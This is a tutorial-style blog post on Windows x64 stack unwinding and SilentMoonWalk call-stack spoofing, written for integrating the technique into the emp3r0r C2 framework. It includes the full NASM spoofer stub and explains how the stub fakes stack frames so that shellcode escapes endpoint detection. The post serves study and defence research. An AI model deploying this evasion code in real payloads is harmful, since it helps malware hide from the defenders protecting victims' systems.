The Basics
Forgive me if this post sounds too basic or detailed. My tutor job gave me this style. Hopefully it helps beginners.
The screenshots are taken from different runs as I didn't have the time to finish writing in one go. If you see different addresses, that's why.
What is a Call Stack?
Assuming you understand the basic concepts such as process and thread, you should know that a thread is essentially a code flow; and a code flow, from a computer's perspective, either processes data for a function call, or processes data returned by a function call, which brings us the need for state management, which we call stack. So, yes, a thread has a stack, and a process has one or more threads.
The stack, when used for function call tracking, we call it a call stack.
In the following screenshot, there are 5 call stacks.
Each row has some information about a function call, it's called a stack frame. Comment describes where the function is. In most cases, functions are from some executable images (exe, dll). Ntdll is a user space gateway to Windows system calls, that's why some of its functions are marked as system.
Unbacked code
However, for obvious reasons, we sometimes have to run code from somewhere other than executable images, to make it less detectable. But guess what? Your code has to run as a thread, which creates a call stack; and a call stack looks like the screenshot. What makes it special is that it doesn't have any image (file) backing it, it's from some memory address (well, they all are, but this one is anonymous) that's on the heap, instead of legitimate .text section. Legitimate code rarely does that, or can be easily baselined so your shellcode stands out.
Why not write to .text then?
Well, short answer: you can't. Because your code doesn't originally live there, at least in most cases, it becomes a chicken-egg problem. If your code lives in .text from the beginning, it means you are running it from an image, which brings us back to the "why do we use shellcode" question.

Obviously, you can allocate heap memory and write code to it, then flip its permission to be executable, you get the following, which give you away by having no legitimate name in the call stack when it runs.
Crystal Palace
I wrote this post when I was adding crystal palace to emp3r0r C2. Crystal Palace is a linker that allows you to decouple your C2 payload from evasion code, and link them together as PICO (shellcode). PICO, as shellcode, doesn't have a place in images, it has to be on the heap, which gives you the "unbacked code in call stack" issue.
To debug any of this, we first have to find PICO in memory. As we know that the memory pages have to be flipped to executable, VirtualProtect has to be called. We set a breakpoint there and we get the address in RCX (google calling convention if you don't understand why).
How Windows Walks a Stack
Before we can fake a call stack, we need to know how it's read.
On x64 there's no reliable frame-pointer chain to follow, so Windows can't walk a stack by chasing saved rbps. Instead, every function in a PE image gets an entry in the exception directory (.pdata). Each entry is a RUNTIME_FUNCTION that points to a UNWIND_INFO structure, and that structure holds a list of unwind codes describing exactly what the prologue did: which registers were pushed, how much stack was allocated, whether a frame register was used, and so on.
Both the kernel and user-mode unwinders (RtlLookupFunctionEntry + RtlVirtualUnwind) parse those codes, frame by frame, and replay the prologue backwards:
- look up the function that owns the current
RIP, - use its unwind codes to compute the caller's
RSP, - read the return address and saved registers from that recovered
RSP, - repeat until the thread root.
No instruction is ever executed; the unwinder just does the math the metadata tells it to do.
What this means for shellcode
Your shellcode has no image, so it has no .pdata entry and no unwind codes. When the unwinder hits a return address pointing at your heap, RtlLookupFunctionEntry has nothing to look up. Depending on the walker, it either gives up right there, or treats the address as a leaf frame and keeps reading raw stack pointers — either way, the walk ends with an unbacked address sitting in the stack, and that's exactly the thing that gets your payload flagged.
And guess what? The unwinder doesn't have to walk the real stack.
Silent Moon Walk
What is it?
Anyway, what I did is integrate SilentMoonWalk stack spoofing into a PICO payload. This post is mainly about how stack spoofing works.
Silent Moon Walk is a stack spoofing technique that allows you to wrap your function calls so they produce legitimate-looking call stacks, free of heap addresses.
SilentMoonWalk keeps two stacks alive at once: RSP points at a fake stack made of real, unwind-able addresses, while RBP keeps pointing at your real stack. That's the "desync" part — the unwinder and the CPU are, briefly, looking at two different stacks. The asm also plants a thread root (BaseThreadInitThunk -> RtlUserThreadStart -> 0) right above the real stack, so that even when the unwinder crosses back over to it, it walks to a normal end instead of running into your unbacked loader frame.
The spoofer stub
The following assembly code is the core business logic. It exposes silentmoonwalk_spoof_call to C code. C code passes a big chunk of object data as an argument to it, which, as per x64 calling convention, lives in RCX. As you can see each member of the struct object has an offset from RCX. Parameters are accessed by something like RCX+0x90.
; SilentMoonwalk desync call-stack spoofer
;
; Direct NASM translation of SilentMoonwalk/SilentMoonwalk/include/asm/
; DesyncSpoofer.asm. The SPOOFER layout is kept in sync with Spoof.h.
[BITS 64]
section .text
%define SMW_KERNELBASE 0x00
%define SMW_KERNELBASE_END 0x08
%define SMW_RTLUSER 0x10
%define SMW_BASETHREAD 0x18
%define SMW_FIRSTFRAME 0x20
%define SMW_SECONDFRAME 0x28
%define SMW_JMPRBX_GADGET 0x30
%define SMW_ADDRSP_GADGET 0x38
%define SMW_FIRSTFRAME_SIZE 0x40
%define SMW_FIRSTFRAME_RAND 0x48
%define SMW_SECONDFRAME_SIZE 0x50
%define SMW_SECONDFRAME_RAND 0x58
%define SMW_JMPRBX_FRAME_SIZE 0x60
%define SMW_ADDRSP_FRAME_SIZE 0x68
%define SMW_RTLUSER_FRAME_SIZE 0x70
%define SMW_BASETHREAD_FRAME_SIZE 0x78
%define SMW_RBP_PUSH_OFFSET 0x80
%define SMW_JMPRBX_GADGET_REF 0x88
%define SMW_SPOOF_FUNC 0x90
%define SMW_RETURN_ADDR 0x98
%define SMW_NARGS 0xA0
%define SMW_ARG01 0xA8
%define SMW_ARG02 0xB0
%define SMW_ARG03 0xB8
%define SMW_ARG04 0xC0
%define SMW_ARG05 0xC8
%define SMW_ARG06 0xD0
%define SMW_ARG07 0xD8
%define SMW_ARG08 0xE0
global silentmoonwalk_spoof_call
silentmoonwalk_spoof_call:
; Saving non-vol registers
mov [rsp + 0x08], rbp
mov [rsp + 0x10], rbx
; Creating a stack reference to the JMP RBX gadget
mov rbx, [rcx + SMW_JMPRBX_GADGET]
mov [rsp + 0x18], rbx
mov rbx, rsp
add rbx, 0x18
mov [rcx + SMW_JMPRBX_GADGET_REF], rbx
; Prolog
; RBP -> Keeps track of original Stack
; RSP -> Desync Stack for Unwinding Info
mov rbp, rsp
; Point SMW_RETURN_ADDR at [rbp] so the unwinder reads the real-stack
; slot we patch below instead of the unbacked caller return address.
mov rax, rbp
mov [rcx + SMW_RETURN_ADDR], rax
; Stash the original caller return address in the spare shadow slot so
; restore can still return to the loader after the spoofed call.
mov rax, [rbp]
mov [rbp + 0x20], rax
; Overwrite the unbacked caller return address with a backed thread-root
; return address (kernel32!BaseThreadInitThunk + 0x14) so the stack walk
; terminates in kernel32 instead of aborting on the shellcode address.
mov rax, [rcx + SMW_BASETHREAD]
add rax, 0x14
mov [rbp], rax
; Creating stack pointer to Restore
lea rax, [rel restore]
push rax
; RBX contains the stack pointer to Restore
lea rbx, [rsp]
; First Frame (Fake origin)
push qword [rcx + SMW_FIRSTFRAME]
mov rax, [rcx + SMW_FIRSTFRAME_RAND]
add qword [rsp], rax
mov rax, [rcx + SMW_RETURN_ADDR]
sub rax, [rcx + SMW_FIRSTFRAME_SIZE]
sub rsp, [rcx + SMW_SECONDFRAME_SIZE]
mov r10, [rcx + SMW_RBP_PUSH_OFFSET]
mov [rsp + r10], rax
; ROP Frames
push qword [rcx + SMW_SECONDFRAME]
mov rax, [rcx + SMW_SECONDFRAME_RAND]
add qword [rsp], rax
; 1. JMP [RBX] Gadget
sub rsp, [rcx + SMW_JMPRBX_FRAME_SIZE]
push qword [rcx + SMW_JMPRBX_GADGET_REF]
sub rsp, [rcx + SMW_ADDRSP_FRAME_SIZE]
mov r10, [rcx + SMW_JMPRBX_GADGET]
mov [rsp + 0x38], r10
; 2. Stack PIVOT (To restore original Control Flow Stack)
push qword [rcx + SMW_ADDRSP_GADGET]
; Store the AddRspX gadget frame size on the real stack; the unwinder
; reads it when walking the JMP [RBX] gadget frame so it lands back on
; the real thread-origin frames instead of the desync stack.
mov rax, [rcx + SMW_ADDRSP_FRAME_SIZE]
mov [rbp + 0x28], rax
; Synthesise the thread-root frames above the patched return address so
; the unwinder can walk BaseThreadInitThunk -> RtlUserThreadStart -> 0
; instead of reading raw stack pointers from the loader's real frame.
mov r10, [rcx + SMW_BASETHREAD_FRAME_SIZE]
test r10, r10
jz .skip_thread_root
mov r11, [rcx + SMW_RTLUSER_FRAME_SIZE]
test r11, r11
jz .skip_thread_root
mov rax, [rcx + SMW_RTLUSER]
test rax, rax
jz .skip_thread_root
; BaseThreadInitThunk's parent return address = RtlUserThreadStart + 0x21
add rax, 0x21
mov r9, r10
add r9, 0x08
mov [rbp + r9], rax
; RtlUserThreadStart's parent return address = 0 (thread root)
mov r9, r10
add r9, r11
add r9, 0x10
mov qword [rbp + r9], 0
.skip_thread_root:
; Set the pointer to the function to call in RAX
mov rax, [rcx + SMW_SPOOF_FUNC]
jmp parameter_handler
jmp execute
restore:
mov rsp, rbp
mov rbp, [rsp + 0x08]
mov rbx, [rsp + 0x10]
; Put the original caller return address back before returning so the
; loader resumes where silentmoonwalk_spoof_call was invoked.
mov r10, [rsp + 0x20]
mov [rsp], r10
ret
parameter_handler:
mov r9, rax
mov rax, 8
mov r8, [rcx + SMW_NARGS]
mul r8
xchg r9, rax
cmp qword [rcx + SMW_NARGS], 8
je handle_eight
cmp qword [rcx + SMW_NARGS], 7
je handle_seven
cmp qword [rcx + SMW_NARGS], 6
je handle_six
cmp qword [rcx + SMW_NARGS], 5
je handle_five
cmp qword [rcx + SMW_NARGS], 4
je handle_four
cmp qword [rcx + SMW_NARGS], 3
je handle_three
cmp qword [rcx + SMW_NARGS], 2
je handle_two
cmp qword [rcx + SMW_NARGS], 1
je handle_one
cmp qword [rcx + SMW_NARGS], 0
je handle_none
jmp handle_none
handle_eight:
push r15
mov r15, [rcx + SMW_ARG08]
mov [rsp + 0x48], r15
pop r15
jmp handle_seven
handle_seven:
push r15
mov r15, [rcx + SMW_ARG07]
mov [rsp + 0x40], r15
pop r15
jmp handle_six
handle_six:
push r15
mov r15, [rcx + SMW_ARG06]
mov [rsp + 0x38], r15
pop r15
jmp handle_five
handle_five:
push r15
mov r15, [rcx + SMW_ARG05]
mov [rsp + 0x30], r15
pop r15
jmp handle_four
handle_four:
mov r9, [rcx + SMW_ARG04]
jmp handle_three
handle_three:
mov r8, [rcx + SMW_ARG03]
jmp handle_two
handle_two:
mov rdx, [rcx + SMW_ARG02]
jmp handle_one
handle_one:
mov rcx, [rcx + SMW_ARG01]
jmp handle_none
handle_none:
jmp execute
execute:
jmp rax
In the debugger, the same stub looks like this. You wrap your function calls in C code and they eventually end up here.
The config struct
The whole thing is driven by that one struct passed in RCX, which is why the asm is full of [rcx + offset]. You already saw the offsets at the top of the file; in plain English:
SMW_SPOOF_FUNC— the function we actually want to call, the one that gets the fake callers.SMW_FIRSTFRAME/SMW_SECONDFRAME— two real functions (plus a random offset each) that pretend to be the callers.SMW_JMPRBX_GADGET/SMW_ADDRSP_GADGET— ajmp [rbx]and anadd rsp, imm; ret, picked from real modules. They bridge the fake stack back to the real one.SMW_BASETHREAD/SMW_RTLUSER—kernel32!BaseThreadInitThunkandntdll!RtlUserThreadStart, so the walk ends at a normal thread root.- the
*_FRAME_SIZEfields — how much stack each of those frames "allocates" according to its unwind info. The asm uses them to put each return address exactly where the unwinder will look for it. SMW_RBP_PUSH_OFFSET— where, inside a frame, the unwinder expects a savedrbp, so we can slip our return address in there.SMW_NARGS+SMW_ARG01..08— arguments for the spoofed function, since we can't justcallit.
Those *_FRAME_SIZE values have to agree with the unwind info of the functions you picked. Off by one push, and the unwinder reads a wrong return address and the whole illusion falls apart.
The arguments
Since we never call the function, nobody sets up its arguments for us, so parameter_handler does it right before the jmp. RCX, RDX, R8, R9 come straight from SMW_ARG01..04; anything past the fourth argument (x64 convention) has to go on the stack at [rsp+0x28] and up, which is what handle_five through handle_eight take care of.
How it builds the fake stack
Alright. It's not hard to understand that RCX+0x90 is the actual function we want to call. But to understand the stack spoofing part, look at how it constructs the fake stack.
Actually, wait, you need to know that by calling silentmoonwalk_spoof_call(config_of_whatever_function_you_want_to_call), you are not actually calling your function, so the stack is completely managed by silentmoonwalk_spoof_call. It's just that silentmoonwalk_spoof_call sets up the stack frame to hide the real one, while still making sure you can return (to your caller code).
Reading the stub top to bottom:
- It saves the caller's
RBPandRBXinto the real stack, and stashes thejmp [rbx]gadget address next to them, soRBXcan be repointed at it later. mov rbp, rspfreezes the real stack pointer. From here on,RSPwalks the fake stack andRBPremembers where "home" is.- It stashes the real return address at
[rbp + 0x20], then overwrites[rbp]withBaseThreadInitThunk + 0x14. When the unwinder crosses back from the fake stack onto the real one, it reads this backed address instead of your shellcode. - It pushes the address of
restore, then the first fake frame, then the second fake frame. The*_FRAME_SIZEfields space them out so each return address lands exactly where that frame's unwind info says it should. - It lays down the two ROP frames — the
jmp [rbx]gadget and theadd rsp, imm; retgadget — which is what the spoofed function will "return" through. - Finally it synthesises
BaseThreadInitThunk -> RtlUserThreadStart -> 0above the real stack, so the unwinder terminates like a normal thread instead of running into the loader.
The function call
I'm not going to single step through the stub, as we have seen how it returns from the spoofed stack just now. It essentially takes RCX and offsets, finds all the data it needs for the stack, sets it up, prepares function parameters, and jmps to the actual function.
At this point, the call stack is ready.
At the beginning of LoadLibraryA.
Every frame is backed by a real module, and the walk terminates at the thread root we planted. No heap addresses, no anonymous pages, nothing that says "shellcode".
The return trip
Let's look at a spoofed call stack.
It looks very convincing. But if you look at each frame, take the highlighted one for example.
Frame 1:
Obviously OpenRegKey didn't call LoadLibraryA. When LoadLibraryA finished and needs to return, it returns to SMW_ADDRSP_GADGET in OpenRegKey which looks like this.
This is written by the following code.
; 2. Stack PIVOT (To restore original Control Flow Stack)
push qword [rcx + SMW_ADDRSP_GADGET]
add rsp, 38 essentially skips the synthetic frames and reaches...
Frame 2:
It then jumps to an address stored in the location that is stored in RBX.
If you read the code, it's actually part of our SilentMoonWalk stub.
restore:
mov rsp, rbp
mov rbp, [rsp + 0x08]
mov rbx, [rsp + 0x10]
; Put the original caller return address back before returning so the
; loader resumes where silentmoonwalk_spoof_call was invoked.
mov r10, [rsp + 0x20]
mov [rsp], r10
ret
When it reaches ret, it returns to the actual caller.
The caller looks like this.
Now we are back to the caller. Look at the spoofed stack, it doesn't seem like we took the declared path, does it?
Comments
comments powered by Disqus